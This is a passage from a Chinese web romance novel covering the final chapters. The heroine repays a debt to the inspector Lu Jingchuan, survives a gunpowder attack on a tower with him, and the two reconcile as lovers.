“咳咳咳……”苏弱水一杯下去,忍不住的咳嗽,然后很快,酒气上涌,她立刻意识到这酒度数不低。 下一刻,她的眼前开始模糊。 女人的身体软软倒下来,被男人稳稳接住。 陆泾川搂着怀里的苏弱水,抓着她臂膀的手指忍不住用力,他紧紧抱着她,像是抱着自己失而复得的宝贝。 他隔着帷帽,面颊贴到她的脸上,酒气湿漉漉地渗透进来,竟像是泪。 阿姐,这次,该用什么方法把你留住呢。 第48章 是有月亮吧 苏弱水醒过来的时候发现自己正在一间陌生的屋子里。 她记得自己昨日在亭子里吃了一杯酒就醉了。 她知道自己不胜酒力, 没有想到这么不胜酒力。 苏弱水低头看向自己身上的衣物,虽然穿着衣服,但明显不是昨日那套。 外面传来走动声, 苏弱水猛地一下坐起来, 脑袋因为酒劲所以有些昏沉。 她颤抖着指尖挑开床帐。 三步远处正站着一个男人。 背对着她在穿衣服。 男人身上有很多伤口,大多都是陈旧性伤口, 最严重的是腰部的贯穿伤。 听到身后动静, 陆泾川转身。 苏弱水还盯着他的伤口看。 男人转过身来,苏弱水看到他腰部同位置处也有一个伤口。 这看起来竟然像是……贯穿伤。 从后面刺入一柄利剑,贯穿腰部,从前面露出沾血鲜血的剑尖。 苏弱水清楚记得,她离开陆泾川之前他的身上还没有这个伤口。 男人垂眸系上腰带,宽松的黑色外衫罩住身体。 三年三年又三年, 那个曾经纤瘦的少年最终长成如今模样,身上也多了许多她不清楚的秘密。 “醒了。” “民女昨日……”苏弱水伸手扶住额角, 假意试探。 “你昨日吃醉酒,吐了我一身。” 苏弱水:…… 她不记得了。 像她这样酒量差酒品又不好的人就不应该吃酒。 “还差一千三。” 看来那杯酒是给她算进去了。 男人整理好衣物, 转身出去了。 苏弱水赶紧跟着起身, 然后就见门口走进来一排女婢,手里捧着洗漱的东西。 虽然已经很久没有被如此服侍过了,但苏弱水适应的很快。 她坐在屋内梳妆台前, 婢女给她梳了一个双髻, 插上漂亮的簪子。 苏弱水赶忙阻止,“我没有银子。” 那婢女一愣,不过也没有多话,只是按照苏弱水的吩咐,没有替她戴首饰。 苏弱水整理了身上的新夏装, 看起来像是成衣,跟她的尺寸有些不大相符。 “我的镯子呢?”苏弱水穿好衣物,整理袖口的时候发现自己的镯子不见了。 那女婢赶紧让人将苏弱水的镯子取了过来,“昨日夫人吐得厉害,我们替夫人收拾的时候暂时将镯子取了下来。” “昨日是你们替我收拾的?” 苏弱水问出此话时,心里莫名闪过一丝失落。 她还没来得及抓住,那女婢便点头道:“是的。” “麻烦你们了。”苏弱水戴上镯子,走出两步,又退回来,“你们大人……昨天晚上……” 苏弱水吞吞吐吐。 那女婢却是十分了解她想问什么。 “大人昨夜并未进屋子,他在园子里吃了一夜酒,今日晨间又在院子里练剑,方才进屋换衣与夫人撞见。” 女婢解释的很清楚,苏弱水点了点头,又问,“我还有一位朋友。” “那位在厢房内休息。” 那女婢话罢,便出了门去,没多久将梅姨带了过来。 “夫人,你没事吧?”梅姨神色焦灼地走过来。 苏弱水摇头,“梅姨,你没事吧?” 梅姨摇头,“我没事,倒是好吃好喝的招待,只是不准我见你,说你吃醉了酒,已经歇下了,我想带你回老宅都不行。” “我没事,我们现在回去。”苏弱水牵着梅姨的手往外走。 走到院子门口,便见一身穿侍卫服的人靠在那里,看到苏弱水出来,立刻笑盈盈道:“夫人,大人吩咐了,您这几日要待在府内。” 是谢成兰。 “为什么?” “大人说,您欠的银子还没给齐,可以让您这位朋友先去筹钱,等银子筹够了,您就可以离开了。” 谢成兰的视线落到梅姨身上。 梅姨神色警惕地看着他,挡在苏弱水身前。 谢成兰依旧是一副笑模样,“夫人,您别为难属下了。” 苏弱水伸手拍了拍梅姨的手背,“梅姨,我没事的,你先回去筹钱吧。” “夫人……”梅姨不放心,皱眉看着她。 苏弱水与梅姨相处三年,她知道梅姨担心她。 “梅姨,我不会有事的,现在筹钱是正事。” 听到苏弱水这么说,梅姨无奈,只得点头,暂时离开,毕竟目前也没有别的法子了,只盼着能快些筹到钱,将人带出来。 苏弱水站在院子门口,她能听到园子里的丝竹之音。 “你们大人经常这样吗?” “哪样?”谢成兰好奇。 “寻欢作乐。” 谢成兰赶紧摆手,“夫人可不要误会,我家大人洁身自好,自从夫人离开之后连一个女人的手指头都没有碰过。” 苏弱水的视线朝谢成兰看过来。 谢成兰立刻继续,“当然,男人也没有!太监也没有!” 苏弱水:…… “我能出院子吗?” “当然,夫人要去哪?”谢成兰跟在苏弱水身后。 “我随便转转。” 苏弱水确实没有要去的地方,她绕着房廊走进园子,远远看到今日那批舞女又换了,昨日在台子上跳,今日在大鼓上跳。园子里到处都摆满了苏州富绅豪商送来的好东西,满的甚至让人无处下脚。 陆泾川依旧坐在那座亭子里,他双手环胸靠在椅背上,双眸微阖,像是睡了。 这一天二十四个小时不间断的敛财也是把人累到了。 “你们什么时候走?”苏弱水小声询问谢成兰。 谢成兰一顿,“大人没说。” 苏弱水点头,然后突然话锋一转,“谢大人升职了吧?” 谢成兰伸手挠了挠后脑勺,有些小羞涩和小骄傲,“是啊。” “谢大人一年多少俸禄?” “不多不多,刚攒了些银子准备在金陵买个小宅子,夫人不知道,那金陵的宅子可比苏州城的贵多了。” 苏弱水点头道:“是啊,谢大人,我有个不情之请。” “夫人但说无妨。” “谢大人能不能借我点钱?” 谢成兰:…… 谢成兰往后撤了三步,看到苏弱水那一脸认真的表情,脸上的笑都变得勉强,“夫人您这……居然是认真的?” “谢大人,我借的不多,只要一千三百两银子就够了。” 谢成兰露出苦恼之色,“夫人,我总共也就存了五百两。” “五百两也行啊。” 谢成兰:……- 苏弱水晨间起得有些早,她感觉自己体内的酒气还没完全散去。脑袋有些疼,胸口郁结,面颊微臊。 女婢给她端了解酒药来,苏弱水一个人坐在屋子里吃了一口,觉得不好喝就不用了。 这大概是陆泾川暂时自己住的院子,屋子里的摆设看着很是华丽,不像是他的风格,应该是那苏州知府置办的,只是没想到,他费心费力花了那么多银子给这位“巡抚大人”置办完毕之后,就立刻被关进了牢里。 陆泾川不是个耽于享乐的人。 苏弱水现在细细想来,发现陆泾川也不是一个喜欢布置屋子,有特别喜好的人,他对什么东西都没有表现出非常大的执念,他不爱金银,不爱美食。 不,似乎还是有的。 是什么呢。 陆泾川的执念。 桌子上的解酒汤里印出苏弱水微怔的表情。 她想到陆泾川身上那道贯穿身体的伤口,用力摇了摇头,甩出脑中想法。 他现在只会恨她。 哪里还会…… 苏弱水起身,外面日头渐渐上升,屋子里开始炎热起来。 有女婢端了冰块进来降温。 苏弱水在冰块边坐了一会,还是觉得有些热,便出了屋子往檐下去,那里正好有一处通风口,还没有日头,正适合解暑。 她摇着扇子坐到檐下,看到院子里夏日春花烂漫,一盆一盆地摆放齐整。 女婢见苏弱水一人坐在檐下,便替她端了茶水过来,还有一应水果糕点。 “夫人若是觉得无聊可往园子里去看看。” “去过了。” “那夫人可以去后头看看,那里有个锦鲤池子。” 这院子后面居然还有一个小院,那里有一处鱼池,里面养着几条锦鲤,大致是好几日没吃东西了,看到苏弱水过去就一窝蜂地涌了过来,一点都不怕人。 苏弱水掰着手里的糕点往鱼池里扔。 锦鲤们纷纷抢夺。 苏弱水一口气扔了三块,还要再扔的时候被一只手握住了腕子。 “再喂就要撑死了,鱼不知道饥饱。” 男人熟悉的嗓音从耳后响起,苏弱水浑身一僵。 她坐在鱼池边上,嗅到他身上的气息。 龙涎香的味道掩盖了那股甜腥味。 苏弱水敛眸,抽出自己被男人握住的手腕,然后起身,镇定地掏出一张五百两的银票递给陆泾川。 陆泾川原本还算闲适的表情缓慢凝结起来,“哪来的?” “找谢大人借的。” 谢成兰把全部身家都带在了身上,他认为只有把银票放在自己身上才是最安全的,没想到这偏偏是最危险的。 “谢成兰?” “是的,我允诺给谢大人利息。” 陆泾川捏着手里的银票,突然轻笑一声,眼神却依旧冷冽,“还差八百两。” 只差八百两了。 苏弱水相信,梅姨那边应该没有太大问题了。 之前是时间紧,任务重,他们不是拿不出那么多钱,而是时间真的太赶了。 就算是卖铺子也是需要找人买的。 那几家铺子他们是低价出售的,因为价格低,所以才卖得快。可最近灾情刚过,根本就没有那么多要买铺子的人。 “今晚给我。” 今晚肯定是来不及的。 “大人再通融几日吧。”苏弱水小碎步跟在陆泾川身后。 男人步子又急又大,苏弱水逐渐跟不上。 她吃力的想跑快一些,没注意到脚下翘起的石砖,径直朝前扑去。 预想中的疼痛没有到来,陆泾川侧身接住她。 男人半跪在地上,苏弱水躺在他怀里,拽着他的衣襟,视线往上,仰头看他。 四面芭蕉朝房廊围拢过来,照出一片阴凉地,将他们圈在里面。 女婢听到动静过来,看到两人,又赶紧退回去。 有光斑从芭蕉叶片的缝隙里穿透而过,苏弱水眯了眯眼,想起身,却发现自己的脚踝好像扭到了。 看到女人突然蹙起的眉,陆泾川也意识到了什么。 他伸出手去摸她的脚踝,果然摸到一块不正常的鼓起。 陆泾川一把将她抱起放在美人靠上,然后撩起她的裙裾,揭开罗袜。 女人纤细的脚踝上鼓起一大块青紫痕迹。 “我没事。”苏弱水企图遮挡,陆泾川微微用力,她就变了脸色。 “没伤到骨头。” 男人站起身,看到苏弱水额角渗出的冷汗,他抬手,替她抚去。 苏弱水抬眸看他,眼眶微红。 不知道是疼的,还是委屈的。 她总是觉得陆泾川看她的眼神太冷了,他对她的态度也太冷了。 “能走吗?” 苏弱水点头,扶着美人靠慢慢吞吞地走。 陆泾川就跟在她身边,看她一瘸一拐地走。 而一直到出了后方小院,回到主屋,苏弱水累得出了一身热汗,也没有让陆泾川帮忙。 男人盯着女人的背影,表情不明。 他转身出去了,片刻之后,女婢带了医士过来给苏弱水看伤。 “没有伤到骨头,只有有些扭伤,过几日就好了。” 医士留了跌打药水就出去了。 苏弱水看着那一盒黑乎乎的药油皱眉。 好臭- 因为脚扭伤了,所以苏弱水又被迫在这里多住了几日。 原本陆泾川那天说的,今晚就要见到钱的事情,因为并没有人来找她要钱,所以也跟着拖延下来了。 苏弱水在屋子里待了几日,能下地,只是不能走太远。 这几日,女婢们往屋子里搬了许多东西,都是些女子用的,一开始苏弱水还拒绝,后来发现拒绝无用便也随他们去了。 至于陆泾川,苏弱水这几日并没有看到他,听女婢说是住到另外的院子里去了。 谢成兰过来看她,手里提着一个食盒,“夫人,您伤了脚,都说吃什么补什么,这是我特意从厨房给您带过来的酱猪蹄髈。” 苏弱水喜欢吃甜口的肉,她从小就是这么吃的,一直到穿越来到北方之后才知道各地饮食习惯不一样,这样的甜口肉对于其他一些人来说无异于异食癖。 苏弱水挑了几筷子吃。 谢成兰好奇地凑过来,“夫人,味道怎么样?” “嗯。”苏弱水点头,“很好吃。” 苏弱水胃口小,一般吃不了那么多,不过这几日的饭菜很合她口味,她便用的多了一些,连带着被苦夏热得瘦了几斤的身体也养回来了一些。 “这知府的厨子手艺真是不错。”苏弱水忍不住夸赞,“不知道我过几日回去的时候能不能把他带走?” 谢成兰笑眯眯道:“若夫人想要带他走,就自己去问他。” 苏弱水觉得自己现在这么穷,大概是养不起一个手艺这么好的厨子了。 毕竟好厨子都是很贵的。 谢成兰收拾完碗碟正要走,苏弱水突然唤住他,“谢大人。” 谢成兰下意识捂住自己的口袋,那里装着他这个月刚刚拿到手的俸禄,“夫人,我可没钱了。” 苏弱水:…… “不是这件事,我想问另外一件事。”- 苏弱水邀谢成兰坐下,还给他倒了一杯茶。 谢成兰笑眯眯接了,开始说。 从谢成兰嘴里,苏弱水知道了三年前陆泾川自她失踪之后的事情。 他将自己身边的暗卫全部散了出去找她,连远在千里之外的暗桩都动用了。 那时候正是关键时期,陆泾川这一动立刻便引起了代王的注意。 代王派遣杀手过来埋伏陆泾川。 陆泾川确实很厉害,可他只有一个人。 那是在北平王的墓碑前,等谢成兰带着暗卫赶到的时候,男人身上被捅了十几个血窟窿。 “我当时还以为主子活不成了……我从来没有见过一个人身上被捅了那么多窟窿还能活着的。” 陆泾川挺过来了。 那次之后,他变得更加沉默寡言,阴鸷冰冷。 他拿着北平王留给他的继位遗书,接替了北平城,守住了北平城的百姓,随后带领军队一路吞并其他藩王,攻入金陵。 “主子跟杀疯了一样……”谢成兰提起那时候的事,还有些心有余悸,“他一个主帅,整日里冲在最前面,我每日里看到他都是一身的血,像是从血池里爬出来。” 苏弱水下意识攥紧了自己的裙角。 “后来咱们终于把金陵攻下来了,百姓都很开心,夹道欢迎。可主子看起来却一点都不高兴的样子,他又不爱说话,我也猜不到他在想什么。我只知道他总喜欢在夜晚的时候站在城楼上往天上看,夫人,你说这天上有什么啊?” 谢成兰抬头望外面看。 外面太阳很大,照得他睁不开眼。 苏弱水想了半响,道:“夜晚的天上……是有月亮吧。”《 》 第49章 【正文完结】 第49章 【正文完结】 苏弱水脚踝消肿下地正常行走那日, 梅姨也将最后那笔钱带了过来。 “夫人,齐了。” 梅姨将手里的银票递给苏弱水。 苏弱水捏着这几张银票,看向梅姨因为好几日没有休息, 所以显得十分疲惫的面容, 轻声道,“谢谢你, 梅姨, 帮了我这么多。” 梅姨摇头,“是王爷从战场上将我带回去的,我们这支暗卫都是没有父母的孤儿,如果不是王爷,哪里能活到今日。我们是自愿加入暗卫,来保护郡主的。”说完, 梅姨道:“郡主,我们赶紧走吧。” 苏弱水点头, 抬眸望向外面。 今日是个阴天,看起来像是要下雨的样子。乌云压在天际, 连日头都被挡得结结实实。 苏弱水提裙出了院子, 正看到守在门口的谢成兰。 “谢大人,请替我转交给巡抚大人。”苏弱水将手里的银票递给谢成兰。 谢成兰没接,“夫人还是亲自给主子吧。” 苏弱水顿了顿, 脸上显出犹豫, “他可能不想见我。” “怎么会呢!”谢成兰差点要跳起来,可他忍住了,“夫人,我贪财,您这银票落我手里, 指不定还没到大人手上就没了。” 苏弱水:…… “巡抚大人在哪里?” “听说今日要下雨,大人在摘月楼里听戏。” 苏州知府挥霍无度,在府中建造了一座摘月楼。 这楼有八层高,听说专门用来招待贵客,里面什么玩的都有,类似于现代版贵族俱乐部,你没有点身份还进不来。 苏弱水点头,谢成兰在前面引路带她过去。 两人走在花园小道上,远远便能看到摘月楼。 “夫人。”走在前面的谢成兰突然开口,“主子之前做错了事,您生气也是应该的,可人总会做错事的,他只是不懂应该怎么爱一个人。”说到这里,谢成兰一顿,“当然,爱情之事对错,外人谁都没有办法插嘴,只有相爱的两个人才有资格原谅对方。” 苏弱水低着头,看到自己飘荡的裙裾,“是他……恨我。”她艰难开口吐出这句话。 谢成兰满脸震惊地转过头,显然是没想到苏弱水居然会是这种想法。 “多谢谢大人引路。” 苏弱水朝他微微颔首,抬手推开明月楼的门进去。 谢成兰这才回神,“不是的,我家主子是……” 谢成兰话说一半就闭上了,因为苏弱水已经走远了,袅袅丝竹之音传出来,也将他的话给掩了过去,苏弱水根本就没有听见- 明月楼有很多层,苏弱水进入之后往上看,她发现这座楼中间是空的,漂亮的木梯旋转而上,每一层上面都能看到有人在玩乐。 酒香,脂粉香,鼓声,琵琶声,琴音。 “请问,巡抚大人在何处?” 苏弱水拉住一个吃醉了酒的舞女。 那舞女喝得眼神都不对焦了,听苏弱水提到陆泾川,眼睛却是猛地一下就亮了。 “你找大人?哎呦,劝你别白费力气了,那位大人……哼,谁都不要。” 舞女甩着袖子绕着苏弱水转,视线落到她的额间,“你这颗胭脂痣真好看。” 苏弱水笑了笑,“我寻大人有事。” 舞女噘嘴,“在最上面。” 苏弱水垂眸道谢,慢慢吞吞往上走。 虽然她的脚好了,但还是有些不敢用力。 苏弱水一层楼一层楼的爬,爬到三楼就开始气喘了。 她单手扶着栏杆,视线往上。 这摘月楼怎么这么高啊。 苏弱水突然万分想念现代的电梯。 她休息了一会,继续又开始爬楼。 越往上,丝竹之音便越缥缈。 一直到了八楼,苏弱水才发现这里清净极了,一个人都没有。 那些鼓乐之音都被压在了下面。 天色慢慢阴暗下来,男人坐在窗前,手里执杯,望着窗外。 今日阴天,没有日头,天气还算比较凉爽。 现在也还没到晚上,看不着月亮。 苏弱水安静站在陆泾川身后,等喘匀了气,才开口道:“大人,我将银票带来了。” 她的声音不算大,可男人的身体却是猛地一动。 陆泾川没有转过身,他捏着手里的酒杯,身型微微僵硬。 苏弱水缓慢走过去,将手里的银票放到陆泾川面前的桌案上。 桌案上摆着一壶酒,一只酒杯,男人也不知道喝了多少,抬眸看她的时候眼睛微红,那是上涌的酒气。 苏弱水安静看他一眼,等了一会,咬了咬唇,“我走了。” 她侧身,身旁的男人突然开口,“脚好了吗?” 苏弱水顿住步子,点了点头,“好了。” 说完,两人又陷入古怪的沉默之中。 夏风吹入,飘起女人罗袖。 终于,苏弱水敛眸,再次开口,声音干脆了许多,“我走了,大人保重。” 苏弱水往前走,身后男人坐在那里,安静看着摆在桌案上的银票。 苏弱水想,真的就是最后一次见面了。 她的脚踏上木阶,下一刻,一道巨大的爆炸声从一楼响起。 “啊!” 尖叫声,慌乱的人群,不断砸下来的木块,还有断裂的地板和正在倾倒的摘月楼。 混乱之中,苏弱水支撑不住身体往前倒去。 她前面的木梯已经断裂,眼前是肉眼可见的空洞塌陷。 下一刻,一只手猛地一把拽住她将她往后面拉。 苏弱水只来得及看到陆泾川那双充血的血,两人就被塌陷的摘月楼覆盖。 安静,很安静。 苏弱水听到一阵急促的心跳声,她的脸上似乎有什么东西流淌过去,她闻到一股血腥气。 除了血腥气,还有尘埃腐朽的木块味道。 她睁开眼,四周昏暗,什么都看不到。 苏弱水张嘴,吃进一口土,她努力咳嗽,那口土被她吐出去一半,嘴里满是尘土的腐朽泥土味道。 她动了动自己的指尖,摸到一点肌肤。 “咳咳咳……”苏弱水使劲咽下一口唾沫,“陆泾川……” 一只搭在她腰上的手动了动。 苏弱水听到了男人的回答,“嗯。” 不知道为什么,她瞬间就安心了。 “你没事吧?” “阿姐希望我没事吗?”男人声音听起来没有什么异常,苏弱水那颗心也跟着落了一半。 “我当然希望你没事。” “可我骗了阿姐,阿姐难道不希望我死吗?” 陆泾川确实对她做了很多过分的事情,可这么多年来,她发现自己一次都没有希望他去死。 “没有。” 那只箍在她腰间的手突然收紧,男人轻微动了动,他试探性的将下颚放到了苏弱水的脖颈处。 两人紧紧挨在一起,于这方狭小之地。 苏弱水任由他靠着,她能感受到陆泾川的心跳声,还有她自己杂乱的呼吸声。 “阿姐,你再叫一遍我的名字,好不好?” 苏弱水垂落眉眼,低声唤他,“陆泾川。” 原来她早就已经喜欢上陆泾川了。 只是自己却不知道。 离开陆泾川的这三年间,她时时梦到他。 她以为她会恨他,可她发现,爱比恨更多。 所以,原来她爱他。 感受到身后男人窸窸窣窣的动作,苏弱水赶紧提醒道:“陆泾川,你不要动,我们应该是被困在倒塌的摘月楼里了。” 他们运气不错,挤在了这道倒塌的缝隙里。 男人听了她的话,乖乖没有动。 苏弱水知道,陆泾川有天道傍身,是不会死的,可她不一样,或许她今日就要死了。 苏弱水面临过很多次死亡,她对死亡并不陌生。 可现在,她突然又开始害怕。 她在害怕失去陆泾川。 原来陆泾川早就已经成为了她活在这个世界上最重要,最挂念的人。 “陆泾川,你身上的伤还疼吗?” “不疼了,抱着阿姐,哪里都不疼了。” 苏弱水想着都要死了,她想知道一个答案,“你不恨我吗?” “我为什么要恨阿姐?”身后传来男人不可置信的声音。 “因,因为我逃跑,所以你才被代王那边的刺客差点杀了……” “我爱你,阿姐。”陆泾川打断苏弱水的话。 他紧紧抱着她,呼吸声打在她的脖颈上,“明明是阿姐不要我了。” 苏弱水感觉自己的脖颈处微微湿润,那并非腥味的血,反倒更像是蕴热的泪。 陆泾川……是哭了吗? “我到处找都找不到阿姐。” “阿姐分明说过,不会不要我的。” “阿姐,对不起,我错了,你原谅我好不好,都是我的错……” 原来他的冷漠都是因为害怕。 像陆泾川这样的一个人,也会不知所措吗? 黑暗中,苏弱水抬起手,抚上陆泾川的面颊,“好,我原谅你了。” 她的指尖触到他柔软的肌肤,濡湿的面颊,苏弱水微微侧头,两人的脑袋靠在一处,“陆泾川,我们会死吗?”苏弱水呢喃自语。 男人蹭着她的肩膀,“可以跟阿姐死在一起,是我做梦都想的事。我想着,阿姐生前不愿意看到我,我只能这样跟阿姐在一起。”说到这里,陆泾川更加用力抱紧她。 苏弱水有点哭笑不得。 “主子!” “夫人!” 外面传来喧闹声,大概是谢成兰和梅姨他们终于寻到这里了。 “在这里,我们在这里……咳咳咳……”苏弱水张嘴,大声回应,“陆泾川,有人来救我们了,陆泾川?陆泾川!”- 江南八月的天依旧炎热,苏弱水躺在榻上休息,身边的人突然动了动。 苏弱水一下就醒了。 她睁开眼,看到陆泾川不知道什么时候已经醒了,正在替她打扇子。 轻薄的美人扇上挂着一个玉佩穗子,随着陆泾川的动作一摇一晃。 苏弱水松了一口气。 “阿姐,做噩梦了?”男人凑上来亲她。 苏弱水顺势将头靠到他胸口。 屋内置着两个盆,里面装满了冰块,这间屋子又在最通风处,四周绿荫遮蔽,因此并不算特别炎热。 细碎的夏风带着泥土和花香吹入屋内。 桌角上置着的熏香炉里燃烧着苏弱水最喜欢的线香。 “嗯,我梦到那个时候你倒在我身后,身上都是血。” 那日里,谢成兰和梅姨将他们救出来的时候,因为突然的光线刺激,所以苏弱水下意识闭了闭眼,直到她听到谢成兰的惊呼声,才转头看到身后的陆泾川。 陆泾川高大的身体软软倒在那里,满身尘土,遮盖住那张昳丽面容。 他躺在那里,像失去了呼吸一般。 为了护住他,他一个人挡住了倒塌的横梁。 苏弱水只记得自己一直在喊他的名字,喊到声音嘶哑。 她甚至忘记了陆泾川不会死。 听说那天是苏州城内一些富豪乡绅共同组织的一场阴谋。 上半年时,他们趁着苏州洪涝囤积粮食倒卖捞钱,搅得百姓苦不堪言。他们听说苏州知府已经被关进了牢里,知道这次怕是掏空了钱财都不能好过,为了逃脱罪责,居然想到让巡抚大人意外死亡这个计划。 他们不知道从哪里弄了许多火药埋在摘月楼下。 后续谢成兰带人将这些人全部都抓了起来,并且阴测测的告诉他们自己得罪的到底是谁,听说当场就吓死了几个,还有几个直接自缢了。 “都过去了,阿姐。”陆泾川翻身将女人揽到自己身上。 男人的恢复能力实在是惊人。 连神医都说自己从没见过一个人伤成那样,短短一月就能下地走路的。 苏弱水的手隔着衣物,怜惜地抚过他腹部的伤口,然后轻轻趴在他身上。女人青丝散落,铺了满床,眨着眼,歪着头看他,然后亲了亲他的下颚。 男人瘦了许多,这样抱着,腰线更明显了,也不知道什么时候才能养回来。 “阿姐。”陆泾川的嗓音立刻暗哑下来。 “神医说,你还要再休息一个月。” 苏弱水迅速起身,还没从陆泾川身上下来,就被他一把拽了回去。 “我不做什么,我就想抱着阿姐。我已经三年,没有抱过阿姐了。” 男人声音闷闷的,人高马大的一个男人,还像少年时一般与她撒娇,甚至昨日还要她替他梳发。 苏弱水无声应允了,她抬手抚过他的脸,指尖略过陆泾川上挑的眼尾。 男人生得好看,尤其是这双眼,漂亮至极,就连眼尾的弧度都生得恰恰好。 苏弱水一会摸摸他的眼睫,一会揉揉他的耳垂,有时候还会弹一弹他的红宝石耳坠子。 “阿姐……” “嗯?” 陆泾川一个翻身,把苏弱水压在了身下。 “神医说……唔……” 陆泾川喘着气去解她的衣带,“是你自己不老实,非要招我。” 她哪里招他了。 陆泾川吻上女人柔软白皙的下颚。 “娘子。” 苏弱水的眼神逐渐迷离,她伸出双臂环住陆泾川。 “夫君。” 作者有话说:感谢宝宝们的支持,写到这里就正文完结啦。《 》